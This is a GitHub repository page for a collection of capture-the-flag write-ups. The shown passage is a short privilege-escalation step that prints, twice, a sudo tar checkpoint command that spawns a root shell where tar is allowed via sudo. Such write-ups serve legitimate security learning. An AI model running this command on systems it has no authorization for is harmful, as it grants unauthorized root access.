shagunattri / ctfwriteups

CTF Writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

ctf

A collection of cool ctfs and their writeups

Type sudo -l and see that we can run tar app as a root. Let's go to gtfobins and get the sudo exploit for tar. If you can't find it, here type:-

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Once you execute above command, you'll become a root user.

Privilege Escaltion:-

Type sudo -l and see that we can run tar app as a root. Let's go to gtfobins and get the sudo exploit for tar.

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

About

CTF Writeups

License:MIT License


Languages

Language:Python 94.1%Language:Perl 1.9%Language:JavaScript 1.0%Language:PostScript 0.8%Language:PHP 0.6%Language:HTML 0.4%Language:C++ 0.3%Language:C 0.3%Language:Go 0.2%Language:Java 0.2%Language:CSS 0.2%Language:Shell 0.0%Language:DIGITAL Command Language 0.0%